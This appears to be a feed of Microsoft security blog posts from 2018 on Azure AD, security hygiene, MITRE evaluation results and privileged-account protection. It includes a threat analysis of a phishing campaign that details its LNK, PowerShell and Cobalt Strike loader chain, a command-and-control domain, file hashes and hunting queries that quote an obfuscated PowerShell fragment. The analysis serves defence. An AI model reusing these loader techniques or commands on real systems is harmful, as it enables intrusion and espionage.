Microsoft

Voice of the Customer: The Walsh Group found that Azure Active Directory gives them a competitive edge

Microsoft Malware Protection Center - Tue, 12/11/2018 - 12:00pm

Todays post was written by Sue Bohn, partner director of Program Management, and Peter Vallianatos and Phillip Nottoli, directors of IT Infrastructure and Security at The Walsh Group.

Hello!

This is Sue Bohn from the Customer & Partner Success team for the Identity Division. Im delighted to announce the next post in our Voice of the Customer blog series. This series is designed to help you by sharing stories from real customers who are solving their identity and security challenges using Azure Active Directory (Azure AD). I hope you find valuable insights and best practices that you can apply to your own projects. If you havent already, check out the first blog from in the series, Voice of the Customer: Walmart embraces the cloud with Azure AD.

This post features The Walsh Group, a large construction company in the United States. The Walsh Group has been with us from the early days in adopting Azure AD. Theyve taken advantage of its capabilities to strengthen access controls, provide more flexibility to users, and reduce the time their help desk spends on password resets. Peter Vallianatos and Phillip Nottoli, directors of IT Infrastructure and Security, provide insights on how they implemented Azure AD to give them a competitive advantage in the general contractor marketplace.

Security is no longer just about firewalls, its how we control identity

The Walsh Group is one of the largest construction companies in the United States with offices and job sites across the country. Like many businesses, identity and security initiatives increased in priority for us a few years ago. We had recently invested in Office 365, which allowed us to shift much of the responsibility for the uptime of our core productivity suite to Microsoft. It saved us time, but it also meant we would have less control than we were used to. We needed to find a way to manage our identities and shore up security. As an example, we did not have a Multi-Factor Authentication (MFA) solution. On top of that, our help desk was begging us to come up with a solution to reduce the amount of time they spent helping our users reset their passwords.

As we researched solutions to fill our security holes, we had to balance the need for best-in-breed security products with the fact that we have tight budgets and a drive to make economic decisions. It was important that we found tools that would be effective, easy to deploy, and easy to integrate. Historically, well before the Azure days, we viewed Microsoft as a strategic partner. So we quickly zeroed in on the complete Microsoft 365 identity stack that includes: Azure AD, Microsoft Cloud App Security, Microsoft Advanced Threat Analytics, Privileged Identity Management, Azure Advanced Threat Protection, Windows Defender Advanced Threat Protection, Azure Identity Protection, Microsoft Intune, Single Sign-on, Self-Service Password Reset, among others.

Azure AD conditional access is central to our Zero Trust strategy

Using the Microsoft security stack has also allowed us to begin implementing a Zero Trust strategy. We believe identity is the foundation of our security posture. As a construction company, we have so many locations, creating opportunities for exploitation. We must properly verify identities before we give access. Azure AD conditional access has given us tools to better control access by defining geographical rules and hardware restrictions. As an example, we simply blocked all access from many countries across the world. We could do that because we operate mostly within North America. As Azure AD conditional access matured, we changed our strategy. To support our people that vacation overseas, weve been able to build sophisticated rules that consider if a device is Intune managed, hybrid joined, and where the device is located. Combining that rule set with MFA, weve been able to safely give our vacationers access to email and other business resources.

Paying attention to the sign-in events, we can adjust our ruleset to further restrict or allow for circumstances that we did not consider. For certain, nearly all the failed sign-in attempts are malicious. It is nice to have that visibility into and control over when and how our networks are accessed.

We bet the farm with Microsoft

We chose to be an early adopter of the Azure AD identity framework. At the time, the tools were just emerging, but we understood the vision, the direction, and Microsofts roadmap to get there. Microsoft helped us establish short-, middle-, and long-range plans, and we rely on their security and identity products more and more. We don’t have that level of confidence in nor the relationship with other vendors. For us, the evidence is clear, we chose the right partner. As a general contractor, this platform has allowed us to remain competitive in our marketplace. Out implementation of Azure AD gives us a competitive advantage that will continue to pay dividends as our cloud strategy grows and we make use of the Office 365 and Azure features. Currently, we have turned our energy towards Microsoft Cloud App Security and operationalizing the Windows Defender Advanced Threat Protection integration across platforms. Already, we are recognizing the value in having all three Advanced Threat Protection products integrated and will continue to fine tune how we manage it.

Voice of the Customerlooking ahead

Many thanks to Pete and Phil for sharing their journey from on-premises to Azure AD. Our customers have told us how valuable it is to learn from their peers. The Voice of the Customer blog series is designed to share our customers security and implementation insights more broadly. Bookmark the Microsoft Secure blog, so you dont miss the next installment in this series, where our customer will speak to how Azure AD and implementing cloud identity and access management makes them more secure.

The post Voice of the Customer: The Walsh Group found that Azure Active Directory gives them a competitive edge appeared first on Microsoft Secure.

Categories: Microsoft

CISO series: Strengthen your organizational immune system with cybersecurity hygiene

Microsoft Malware Protection Center - Thu, 12/06/2018 - 12:00pm

One of the things I love about my job is the time I get to spend with security professionals, learning firsthand about the challenges of managing security strategy and implementation day to day. There are certain themes that come up over and over in these conversations. My colleague Ken Malcolmson and I discussed a few of them on the inaugural episode of the Microsoft CISO Spotlight Series: CISO Lessons Learned. Specifically, we talked about the challenges CISOs face migrating to the cloud and protecting your organizations data. In this blog, I dig into one of the core concepts we talked about: practicing cybersecurity hygiene.

Hygiene means conditions or practices conducive to maintaining health. Cybersecurity hygiene is about maintaining cyberhealth by developing and implementing a set of tools, policies, and practices to increase your organization’s resiliency in the face of attacks and exploits. Healthy habits like drinking lots of water, walking every day, and eating a rainbow of vegetables build up the immune system, so our bodies can fight off viruses with minimal downtime. Most of the time we dont even realize how powerful the protection of these behaviors are until that day deep in January when you look around your office and realize you are one of the only people who isnt sick. Thats what cybersecurity hygiene does; it strengthens your organizational immune system. Its a simple concept until you start thinking about the last time you resolved to start practicing healthy habits but were skipping the salad by day three because big salads make your stomach bloat and youd rather have a candy bar anyway.

Success starts with strategy

No matter where in the world I am, CSOs and CISOs tell me their days are filled with fire drills and crises that consume attention and resources but dont help advance a strategic agenda. A little like that candy bardrawing focus in the present but diverting energy from long-term goals. In the precious moments of downtime, when cyber executives can turn attention to long-term strategy and proactive security measures, its not uncommon to have those goals diverted in a different waychasing the latest trend that the board is excited about or having to react to failure or a finding from a recent security assessment.

Consistent change changes systems

Our bodies are systemswhen we eat more vegetables our microbiome changes, it becomes easier to digest those veggies and can actually begin craving them. But if you stock the pantry with candy instead of leafy greens, its hard to make a consistent change. For cyberhealth, you need a strategy that works with the strengths of your organization and mitigates its weakness. Its a little like planning to be healthy. If you are social, it can help to enlist a friend in your exercise routine. If you work late, you can buy prepared, healthy food, so you arent as tempted to grab that candy bar after a long day.

To implement good security practices, take some time to understand your budget, your priorities, and your greatest vulnerabilities and allocate your money appropriately. Create strategic cybersecurity targets and goals for the next one, three, and five years and engage the C-Suite and board in the approvals. You will feel more empowered in conversations with the C-Suite when you have a good rationale and a solid plan and when cybersecurity hygiene becomes a systemic part of the organization, the healthy system will start to crave it.

Practice good cybersecurity hygiene

Once you have a strategy, you are ready to institute some best practices. We recommend getting started with the following to all our clients, big and small:

  • Back up data: Make sure you have a regular process to back up your data to a location separate from your production data and encrypt it in transit and at rest.
  • Implement identities: A good identity and access management solution allows you to enable a single common identity across on-premises and cloud resources with added safeguards to protect your most privileged accounts.
  • Deploy conditional access: Use conditional access to control access based on location, device, or other risk factors.
  • Use Multi-Factor Authentication: Multi-Factor Authentication works on its own or in conjunction with conditional access to verify that users trying to access your resources are who they say they are.
  • Patching: A strategy to ensure all of your software and hardware is regularly patched and updated is important to reduce the number of security vulnerabilities that a hacker can exploit.
Develop cybersecurity hygiene with industry security frameworks

Excited to build healthy cyber habits but not sure where to start? The National Institute of Standards and Technology (NIST) Cybersecurity Framework is a great place to start. You can also download blueprints that will help you implement Microsoft Azure according to NIST standards.

The Center for Information Security (CIS) is a non-profit organization that helps organizations protect themselves from cybercrime. Review the CIS Microsoft Azure Foundations benchmark, which provides recommended steps to securely implement Azure.

Stay healthy, eat your cyber vegetables, and stay up to date by watching our Microsoft CISO Spotlight Series: CISO Lessons Learned, and your organization can build the resiliency to take on any threat.

The post CISO series: Strengthen your organizational immune system with cybersecurity hygiene appeared first on Microsoft Secure.

Categories: Microsoft

Step 1. Identify users: top 10 actions to secure your environment

Microsoft Malware Protection Center - Wed, 12/05/2018 - 12:00pm

This series outlines the most fundamental steps you can take with your investment in Microsoft 365 security solutions. Well provide advice on activities such as setting up identity management through active directory, malware protection, and more. In this post, we explain how to create a single common identity across on-premises and cloud with hybrid authentication.

Establishing a single, common identity for each user is the foundations step to your cybersecurity strategy. If you currently have an on-premises footprint, this means connecting your Azure Active Directory (Azure AD) to your on-premises resources. There are various requirements and circumstances that will influence the hybrid identity and authentication method that you choose, but whether you choose federation or cloud authentication, there are important security implications for each that you should consider. This blog walks you through our recommended security best practices for each hybrid identity method.

Set up password hash synchronization as your primary authentication method when possible

Azure AD Connect allows your users to access on-premises resources including Azure, Office 365, and Azure AD-integrated SaaS apps using one identity. It uses your on-premises Active Directory as the authority, so you can use your own password policy, and Azure AD Connect gives you visibility into the types of apps and identities that are accessing your company resources. If you choose Azure AD Connect, Microsoft recommends that you enable password hash synchronization (Figure 1) as your primary authentication method. Password hash synchronization synchronizes the password hash in your on-premises Active Directory to Azure AD. It authenticates in the cloud with no on-premises dependency, simplifying your deployment process. It also allows you to take advantage of Azure AD Identity Protection, which will alert you if any of the usernames and passwords in your organization have been sold on the dark web.

Figure 1. Password hash sync synchronizes the password hash in your on-premises Active Directory to Azure AD.

Enable password hash synchronization as a backup during on-premises outages

If your authentication requirements are not natively supported by password hash synchronization, another option available through Azure AD Connect is pass-through authentication (Figure 2). Pass-through authentication provides a simple password validation for Azure AD authentication services by using a software agent that runs on one or more on-premises servers. Since pass-through authentication relies on your on-premises infrastructure, your users could lose access to both Active Directory-connected cloud resources and on-premises resources if your on-premises environment goes down. To limit user downtime and loss of productivity, we recommend that you configure password hash synchronization as a backup. This allows your users to sign in and access cloud resources during an on-premises outage. It also gives you access to advanced security features, like Azure Directory Identity Protection.

Figure 2. Pass-through authentication provides a simple password validation for Azure AD authentication services.

Whether you implement password hash synchronization as your primary authentication method or as a backup during on-premises outages, you can use the Active Directory Federation Services (AD FS) to password hash sync deployment plan as a step-by-step guide to walk you through the implementation process.

Implement extranet lockout if you use AD FS

AD FS may be the right choice if your organization requires on-premises authentication or if you are already invested in federation services (Figure 3). Federation services authenticates users and connects to the cloud using an on-premises footprint that may require several servers. To ensure your users and data are as secure as possible, we recommend two additional steps.

First, enable password hash synchronization as a backup authentication method to get access to Azure AD Identity Protection and minimize interruptions if an outage should occur. Second, we recommend you implement extranet lockout. Extranet lockout protects against brute force attacks that target AD FS, while preventing users from being locked out of Active Directory. If you are using AD FS running on Windows Server 2016, set up extranet smart lockout. For AD FS running on Windows Server 2012 R2AD, youll need to turn on extranet lockout protection.

Figure 3. Federation services authenticates users and connects to the cloud using an on-premises footprint.

You can use the AD FS to pass-through authentication deployment plan as a step-by-step guide to walk you through the implementation process.

Learn more

Check back in a few weeks for our next blog post, Step 2. Manage authentication and safeguard access. In this post well dive into additional protections you can apply to your identities to ensure that only authorized people access the appropriate data and apps.

Get deployment help now

FastTrack for Microsoft 365 provides end-to-end guidance to set up your security products. FastTrack is a deployment and adoption service that comes at no charge with your subscription. Get started at FastTrack for Microsoft 365.

Resources

The post Step 1. Identify users: top 10 actions to secure your environment appeared first on Microsoft Secure.

Categories: Microsoft

Insights from the MITRE ATT&CK-based evaluation of Windows Defender ATP

Microsoft Malware Protection Center - Mon, 12/03/2018 - 9:15pm

In MITREs evaluation of endpoint detection and response solutions, Windows Defender Advanced Threat Protection demonstrated industry-leading optics and detection capabilities. The breadth of telemetry, the strength of threat intelligence, and the advanced, automatic detection through machine learning, heuristics, and behavior monitoring delivered comprehensive coverage of attacker techniques across the entire attack chain.

MITRE tested the ability of products to detect techniques commonly used by the targeted attack group APT3 (also known as Boron or UPS). To isolate detection capabilities, as part of the testing, all protection and prevention features were turned off. In the case of Windows Defender ATP, this meant turning off blocking capabilities like hardware-based isolation, attack surface reduction, network protection, exploit protection, controlled folder access, and next-gen antivirus. The test showed that, by itself, Windows Defender ATPs EDR component is one of the most powerful detection and investigation solutions in the market today.

Microsoft is happy to be one of the first EDR vendors to sign up for the MITRE evaluation based on the ATT&CK framework, widely regarded today as the most comprehensive catalog of attacker techniques and tactics. MITRE closely partnered with participating security vendors in designing and executing the evaluation, resulting in a very collaborative and productive testing process.
We like participating in scientific and impartial tests because we learn from them. Learning from independent tests, like listening to customers and conducting our own research, is part of our goal to make sure that Windows Defender ATP is always ahead of threats and continues to evolve.

Overall, the results of the MITRE evaluation validated our investments in continuously enriching Windows Defender ATPs capabilities to detect and expose attacker techniques. Below we highlight some of the acute attacker techniques that Windows Defender ATP effectively detected during the MITRE testing.

Deep security telemetry and comprehensive coverage

Windows Defender ATP showed exceptional capabilities for detecting attacker techniques through APT3s attack stages, registering the lowest number of misses among evaluated products. Throughout the emulated attack chain, Windows Defender ATP detected the most critical attacker techniques, including:

  • Multiple discovery techniques (detected with Suspicious sequence of exploration activities alert)
  • Multiple process injection attempts for privilege escalation, credential theft, and keylogging/screen capture
  • Rundll32.exe being used to execute malware
  • Credential dumping from LSASS
  • Persistence via Scheduled Task
  • Keylogging (both in Cobalt Strike and PS Empire)
  • Brute force login attempts
  • Accessibility features attack (abusing sticky keys)
  • Lateral movement via remote service registration

Windows Defender ATP correlates security signals across endpoints and identities. In the case of the APT3 emulation, signals from Azure Advanced Threat Protection helped expose and enrich the detection of the account discovery behavior. This validates the strategic approach behind Microsoft Threat Protection: the most comprehensive protection comes from sharing rich telemetry collected from across the entire attack chain.

Windows Defender ATPs Antimalware Scan Interface (AMSI) sensors also proved especially powerful, providing rich telemetry on the latter stages of the attack emulation, which made heavy use of malicious PowerShell scripts. This test highlighted the value of transparency: the AMSI interface enabled deep visibility into the PowerShell used in each attacker technique. Advanced machine learning-based detection capabilities in Windows Defender ATP use this visibility to expose malicious scripts.

Stopping attacks in the real world with Windows Defender ATPs unified endpoint security platform

The MITRE results represent EDR detection capabilities, which surface malicious and other anomalous activities. In actual customer environments, Windows Defender ATPs preventive capabilities, like attack surface reduction and next-gen protection capabilities, would have blocked many of the attack techniques at the onset. In addition, investigation and hunting capabilities enable security operations personnel to correlate alerts and incidents to enable holistic response actions and build wider protections.

Windows Defender ATP’s best-in-class detection capabilities, as affirmed by MITRE, is amplified across Microsoft solutions through Microsoft Threat Protection, a comprehensive, integrated protection for identities, endpoints, user data, cloud apps, and infrastructure. To run your own evaluation of how Windows Defender ATP can help protect your organization and let you detect, investigate, and respond to advanced attacks, sign up for a free Windows Defender ATP trial.

 

 

 

Windows Defender ATP team

 

 

 

Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community and Windows Defender Security Intelligence.

Follow us on Twitter @WDSecurity and Facebook Windows Defender Security Intelligence.

 

 

The post Insights from the MITRE ATT&CK-based evaluation of Windows Defender ATP appeared first on Microsoft Secure.

Categories: Microsoft

Kicking off the Microsoft Graph Security Hackathon

Microsoft Malware Protection Center - Mon, 12/03/2018 - 12:00pm

Cybersecurity is one of the hottest sectors in tech with Gartner predicting worldwide information security spending to reach $124 billion by the end of 2019. New startups and security solutions are coming onto the market while attackers continue to find new ways to breach systems. The security solutions market has grown at a rapid pace as a result. Our customers face immense challenges in integrating all these different solutions, tools, and intelligence. Oftentimes, the number of disconnected solutions make it more difficultrather than easierto defend and recover from attacks.

We invite you to participate in the Microsoft Graph Security Hackathon for a chance to help solve this pressing challenge and win a piece of the $15,000 cash prize pool.* This online hackathon runs from December 1, 2018 to March 1, 2019 and is open to individuals, teams, and organizations globally.

The Microsoft Graph Security API offers a unified REST endpoint that makes it easy for developers to bring security solutions together to streamline security operations and improve cyber defenses and response. Tap into other Microsoft Graph APIs as well as mash up data and APIs from other sources to extend or enrich your scenarios.

Prizes

In addition to learning more about the Microsoft Graph and the security API, the hackathon offers these awesome prizes for the top projects:

  • $10,000 cash prize for the first-place solution, plus a speaking opportunity at Build 2019.
  • $3,000 cash prize for the runner up solution.
  • $2,000 cash prize for the popular choice solution, chosen via public voting.

In addition, all three winning projects, and the individuals or teams in the categories above, will be widely promoted on Microsoft blog channelsgiving you the opportunity for your creative solutions to be known to the masses. The criteria for the judging will consist of the quality of the idea, value to the enterprise, and technical implementation. You can find all the details you need on the Microsoft Graph Security Hackathon website.

Judging panel

Once the hackathon ends on March 1, 2019, judging commences immediately after by our amazing judges. Well announce the winners on or before April 1, 2019. The hackathon will be judged by a panel of Microsoft and non-Microsoft experts and influencers in the developer community and in cybersecurity, including:

  • Ann Johnson, Corporate Vice President for Cybersecurity Solutions Group for Microsoft
  • Scott Hanselman, Partner Program Manager for Microsoft
  • Mark Russinovich, CTO Azure for Microsoft
  • Rick Howard, Chief Security Officer Palo Alto Networks

We will announce more judges in the coming weeks!

Next steps

Let the #graphsecurityhackathon begin

*No purchase necessary. Open only to new and existing Devpost users who are the age of majority in their country. Game ends March 1, 2019 at 5:00 PM Eastern Time. For details, see the official rules.

The post Kicking off the Microsoft Graph Security Hackathon appeared first on Microsoft Secure.

Categories: Microsoft

Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers

Microsoft Malware Protection Center - Mon, 12/03/2018 - 11:00am

Reuters recently reported a hacking campaign focused on a wide range of targets across the globe. In the days leading to the Reuters publication, Microsoft researchers were closely tracking the same campaign.

Our sensors revealed that the campaign primarily targeted public sector institutions and non-governmental organizations like think tanks and research centers, but also included educational institutions and private-sector corporations in the oil and gas, chemical, and hospitality industries.

Microsoft customers using the complete Microsoft Threat Protection solution were protected from the attack. Behavior-based protections in multiple Microsoft Threat Protection components blocked malicious activities and exposed the attack at its early stages. Office 365 Advanced Threat Protection caught the malicious URLs used in emails, driving the blocking of said emails, including first-seen samples. Meanwhile, numerous alerts in Windows Defender Advanced Threat Protection exposed the attacker techniques across the attack chain.

Third-party security researchers have attributed the attack to a threat actor named APT29 or CozyBear, which largely overlaps with the activity group that Microsoft calls YTTRIUM. While our fellow analysts make a compelling case, Microsoft does not yet believe that enough evidence exists to attribute this campaign to YTTRIUM.

Regardless, due to the nature of the victims, and because the campaign features characteristics of previously observed nation-state attacks, Microsoft took the step of notifying thousands of individual recipients in hundreds of targeted organizations. As part of the Defending Democracy Program, Microsoft encourages eligible organizations to participate in Microsoft AccountGuard, a service designed to help these highly targeted customers protect themselves from cybersecurity threats.

Attack overview

The aggressive campaign began early in the morning of Wednesday, November 14. The targeting appeared to focus on organizations that are involved with policy formulation and politics or have some influence in that area.

Phishing targets in different industry verticals

Although targets are distributed across the globe, majority are located in the United States, particularly in and around Washington, D.C. Other targets are in Europe, Hong Kong, India, and Canada.

Phishing targets in different locations

The spear-phishing emails mimicked sharing notifications from OneDrive and, as noted by Reuters, impersonated the identity of individuals working at the United States Department of State. If recipients clicked a link on the spear-phishing emails, they began an exploitation chain that resulted in the implantation of a DLL backdoor that gave the attackers remote access to the recipients machines.

Attack chain

Analysis of the campaign Delivery

The spear-phishing emails used in this attack resemble file-sharing notifications from OneDrive.

The emails contain a link to a legitimate, but compromised third-party website:

hxxps://www.jmj.com/personal/nauerthn_state_gov/TUJE7QJl[random string]

The random strings are likely used to identify distinct targeted individuals who clicked on the link. However, all observed variants of this link redirect to a specific link on the same site:

hxxps://www.jmj.com/personal/nauerthn_state_gov/VFVKRTdRSm

When users click the link, they are served a ZIP archive containing a malicious LNK file. All files in a given attack have the same file name, for example, ds7002.pdf, ds7002.zip, and ds7002.lnk.

Installation

The LNK file represents the first stage of the attack. It executes an obfuscated PowerShell command that extracts a base64-encoded payload from within the LNK file itself, starting at offset 0x5e2be and extending 16,632 bytes.

Encoded content in the LNK file

The encoded payloadanother heavily obfuscated PowerShell scriptis decoded and executed:

Decoded second script

The second script carves out two additional resources from within the .LNK file:

  • ds7002.PDF (A decoy PDF)
  • cyzfc.dat (The first stage implant)
Command and control

The first-stage DLL, cyzfc.dat, is created by the PowerShell script in the path %AppData%\Local\cyzfc.dat. It is a 64-bit DLL that exports one function: PointFunctionCall.

The PowerShell script then executes cyzfc.dat by calling rundll32.exe. After connecting to the first-stage command-and-control server at pandorasong[.]com (95.216.59.92), cyzfc.dat begins to install the final payload by taking the following actions:

  1. Allocate a ReadWrite page for the second-stage payload
  2. Extract the second-stage payload as a resource
  3. Take a header that is baked into the first payload with a size 0xEF bytes
  4. Concatenate the header with the resource, starting at byte 0x12A.
  5. De-XOR the second-stage payload with a rolling XOR (ROR1), starting from key 0xC5.

The second stage is an instance of Cobalt Strike, a commercially available penetration testing tool, which performs the following steps:

  1. Define a local named pipe with the format \\.\pipe\MSSE-<number>-server, where <number> is a random number between 0 and 9897
  2. Connecting to the pipe, write it global data with size 0x3FE00
  3. Implement a backdoor over the named pipe:
    1. Read from the pipe (maximum 0x3FE00 bytes) to an allocated buffer
    2. DeXOR the payload onto a new RW memory region, this time with a much simple XOR key: simple XORing every 4 bytes with 0x7CC2885F
    3. Turn the region to be RX
    4. Create a thread that starts running the payload’

The phase that writes to global data to the pipe actually writes a third payload. That payload is XORed with the same XORing algorithm used for reading. When decrypted, it forms a PE file with a Meterpreter header, interpreting instructions in the PE header and moving control to a reflective loader:

The third payload eventually gets loaded and connects to the command-and-control (C&C) server address that is baked-in inside configuration information in the PE file. This configuration information is de-XORed at the third payload runtime:

The configuration information itself mostly contains C&C information:

CobaltStrike is a feature-rich penetration testing tool that provides remote attackers with a wide range of capabilities, including escalating privileges, capturing user input, executing arbitrary commands through PowerShell or WMI, performing reconnaissance, communicating with C&C servers over various protocols, and downloading and installing additional malware.

End-to-end defense through Microsoft Threat Protection

Microsoft Threat Protection is a comprehensive solution for enterprise networks, protecting identities, endpoints, user data, cloud apps, and infrastructure. By integrating Microsoft services, Microsoft Threat Protection facilitates signal sharing and threat remediation across services. In this attack, Office 365 Advanced Threat Protection and Windows Defender Advanced Threat Protection quickly mitigated the threat at the onset through durable behavioral protections.

Office 365 ATP has enhanced phishing protection and coverage against new threats and polymorphic variants. Detonation systems in Office 365 ATP caught behavioral markers in links in the emails, allowing us to successfully block campaign emailsincluding first-seen samplesand protect targeted customers. Three existing behavioral-based detection algorithms quickly determined that the URLs were malicious. In addition, Office 365 ATP uses security signals from Windows Defender ATP, which had a durable behavior-based antivirus detection (Behavior:Win32/Atosev.gen!A) for the second-stage malware.

Safe Links protection in Office 365 ATP protects customers from attacks like this by analyzing unknown URLs when customers try to open them. Zero-hour Auto Purge (ZAP) actively removes emails post-delivery after they have been verified as maliciousthis is often critical in stopping attacks that weaponize embedded URLs after the emails are sent.

All of these protections and signals on the attack entry point are shared with the rest of the Microsoft Threat Protection components. Windows Defender ATP customers would see alerts related to the detection of the malicious emails by Office 365 ATP, as well the behavior-based antivirus detection.

Windows Defender ATP detects known filesystem and network artifacts associated with the attack. In addition, the actions of the LNK file are detected behaviorally. Alerts with the following titles are indicative of this attack activity:

  • Artifacts associated with an advanced threat detected
  • Network activity associated with an advanced threat detected
  • Low-reputation arbitrary code executed by signed executable
  • Suspicious LNK file opened

Network protection blocks connections to malicious domains and IP addresses. The following attack surface reduction rule also blocks malicious activities related to this attack:

  • Block executable files from running unless they meet a prevalence, age, or trusted list criteria

Through Windows Defender Security Center, security operations teams could investigate these alerts and pivot to machines, users, and the new Incidents view to trace the attack end-to-end. Automated investigation and response capabilities, threat analytics, as well as advanced hunting and new custom detections, empower security operations teams to defend their networks from this attack

The following Advanced hunting query can help security operations teams search for any related activities within the network:

//Query 1: Events involving the DLL container let fileHash = "9858d5cb2a6614be3c48e33911bf9f7978b441bf"; find in (FileCreationEvents, ProcessCreationEvents, MiscEvents, RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents) where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash | where EventTime > ago(10d) //Query 2: C&C connection NetworkCommunicationEvents | where EventTime > ago(10d) | where RemoteUrl == "pandorasong.com" //Query 3: Malicious PowerShell ProcessCreationEvents | where EventTime > ago(10d) | where ProcessCommandLine contains "-noni -ep bypass $zk=' JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0" //Query 4: Malicious domain in default browser commandline ProcessCreationEvents | where EventTime > ago(10d) | where ProcessCommandLine contains "https://www.jmj.com/personal/nauerthn_state_gov" //Query 5: Events involving the ZIP let fileHash = "cd92f19d3ad4ec50f6d19652af010fe07dca55e1"; find in (FileCreationEvents, ProcessCreationEvents, MiscEvents, RegistryEvents, NetworkCommunicationEvents, ImageLoadEvents) where SHA1 == fileHash or InitiatingProcessSHA1 == fileHash | where EventTime > ago(10d)

The provided queries check events from the past ten days. Change EventTime to focus on a different period.

 

 

 

Windows Defender Research team, Microsoft Threat Intelligence Center, and Office 365 ATP research team

 

 

 

Indicators of attack

Files (SHA-1)

  • ds7002.ZIP: cd92f19d3ad4ec50f6d19652af010fe07dca55e1
  • ds7002.LNK: e431261c63f94a174a1308defccc674dabbe3609
  • ds7002.PDF (decoy PDF): 8e928c550e5d44fb31ef8b6f3df2e914acd66873
  • cyzfc.dat (first-stage): 9858d5cb2a6614be3c48e33911bf9f7978b441bf

URLs

  • hxxps://www.jmj[.]com/personal/nauerthn_state_gov/VFVKRTdRSm

C&C servers

  • pandorasong[.]com (95.216.59.92) (first_stage C&C server)

The post Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers appeared first on Microsoft Secure.

Categories: Microsoft

Secure your privileged administrative accounts with a phased roadmap

Microsoft Malware Protection Center - Thu, 11/29/2018 - 12:00pm

In my role, I often meet with CISOs and security architects who are updating their security strategy to meet the challenges of continuously evolving attacker techniques and cloud platforms. A frequent topic is prioritizing security for their highest value assets, both the assets that have the most business value today as well as the initiatives that the organization is banking on for the future. This typically includes intellectual property, customer data, key new digital initiatives, and other data that, if leaked, would do the greatest reputational and financial damage. Once weve identified the highest value assets, it inevitably leads to a conversation about all the privileged accounts that have administrative rights over these assets. Most of our customers recognize that you can no longer protect the enterprise just by securing the network edge; the cloud and mobile devices have permanently changed that. Identities represent the critically important new security perimeter in a dual perimeter strategy while legacy architectures are slowly phased out.

Regardless of perimeter and architecture, there are few things more important to a secure posture than protecting admins. This is because a compromised admin account would cause a much greater impact on the organization than a compromised non-privileged user account.

If you are working on initiatives to secure your privileged accounts (and I hope you are ), this post is designed to help. Ive shared some of the principles and tools that Microsoft has used to guide and enhance our own security posture, including some prescriptive roadmaps to help you plan your own initiatives.

Protect the privileged access lifecycle

Once you start cataloging all the high-value assets and who can impact them, it quickly becomes clear that we arent just talking about traditional IT admins when we talk about privileged accounts. There are people who manage social media accounts rich with customer data, cloud services admins, and those that manage directories or financial data. All of these user accounts need to be secured (though most organizations start with IT admins first and then progress to others, prioritized based on risk or the ability to secure the account quickly).

Protecting the privileged access lifecycle is also more than just vaulting the credentials. Organizations need to take a complete and thoughtful approach to isolate the organizations systems from risks. It requires changes to:

  • Processes, habits, administrative practices, and knowledge management.
  • Technical components such as host defenses, account protections, and identity management.

Principles of securing privileged access

Securing all aspects of the privileged lifecycle really comes down to the following principles:

  • Strengthen authentication:
    • Move beyond relying solely on passwords that are too often weak, or easily guessed and move to a password-less, Multi-Factor Authentication (MFA) solution that uses at least two forms of authentication, such as a PIN, biometrics, and/or a code generated by a device.
    • Make sure you detect and remediate leaked credentials.
  • Reduce the attack surface:
    • Remove legacy/insecure protocols.
    • Remove duplicate/weak passwords.
    • Reduce dependencies.
  • Increase monitoring and detection.
  • Automate threat response.
  • Ensure usability for administrators.

To illustrate the importance we place on privileged access controls, Ive included a diagram that shows how Microsoft protects itself. Youll see we have instituted traditional defenses for securing the network, as well as made extensive investments into development security, continuous monitoring, and processes to ensure we are looking at our systems with an attackers eye. You can also see how we place a very high priority on security for privileged users, with extensive training, rigorous processes, separate workstations, as well as strong authentication.

Prioritize quick, high-value changes first using our roadmap

To help our customers get the most protection for their investment of time/resources, we have created prescriptive roadmaps to kickstart your planning. These will help you plan out your initiatives in phases, so you can knock out quick wins first and then incrementally increase your security over time.

Check out the Azure Active Directory (Azure AD) roadmap to plan out protections for the administration of this critical system. We also have an on-premises roadmap focused on Active Directory admins, which Ive included below. Since many organizations run hybrid networks, we will soon merge these two roadmaps.

On-premises privileged identity roadmap

There are three stages to secure privileged access for an on-premises AD.

Stage 1 (30 days)

Stage 1 of the roadmap is focused on quickly mitigating the most frequently used attack techniques of credential theft and abuse.

1. Separate accounts: This is the first step to mitigate the risk of an internet attack (phishing attacks, web browsing) from impacting administrative privileges.

2 and 3. Unique passwords for workstations and servers: This is a critical containment step to protect against adversaries stealing and re-using password hashes for local admin accounts to gain access to other computers.

4. Privileged access workstations (PAW) stage 1: This reduces internet risks by ensuring that the workstations admins use every day are protected at a very high level.

5. Identity attack detection: Ensures that security operations have visibility into well-known attack techniques on admins.

Stage 2 (90 days)

These capabilities build on the mitigations from the 30-day plan and provide a broader spectrum of mitigations, including increased visibility and control of administrative rights.

1. Require Windows Hello for business: Replace hard-to-remember and easy-to-hack passwords with strong, easy-to-use authentication for your admins.

2. PAW stage 2: Requiring separate admin workstations significantly increases the security of the accounts your admins use to do their work. This makes it extremely difficult for adversaries to get access to your admins and is modeled on the systems we use to protect Azure and other sensitive systems at Microsoft (described earlier).

3. Just in time privileges: Lowers the exposure of privileges and increases visibility into privilege use by providing them to admins as they need it. This same principle is applied rigorously to admins of our cloud.

4. Enable credential guard on Windows 10 workstations: This isolates secrets for legacy authentication protocols like Kerberos and NTLM on all Windows 10 user workstations to make it more difficult for attackers to operate there and reach the admins.

5. Leaked credentials 1: This enables you to detect a risk of a leaked password by synchronizing password hashes to Azure AD where it can compare them to known leaked credentials.

6. Lateral movement vulnerability detection: Discover which sensitive accounts in your network are exposed because of their connection to non-sensitive accounts, groups, and machines.

Stage 3: Proactively secure posture

These capabilities build on the mitigations from previous phases and move your defenses into a proactive posture. While there will never be perfect security, this represents the strongest protections against privilege attacks currently known and available today.

1. Review role-based access control: Protect identity and management systems using a set of buffer zones between full control of the environment (Tier 0) and the high-risk workstation assets that attackers frequently compromise.

2. PAW stage 3: Expands your protection by separating internet risks (phishing attacks, web browsing) from all administrative privileges, not just AD admins.

3. Lowers the attack surface of domain and domain controller: This hardens these sensitive assets to make it difficult for attackers to compromise them with classic attacks like unpatched vulnerabilities and exploiting configuration weaknesses.

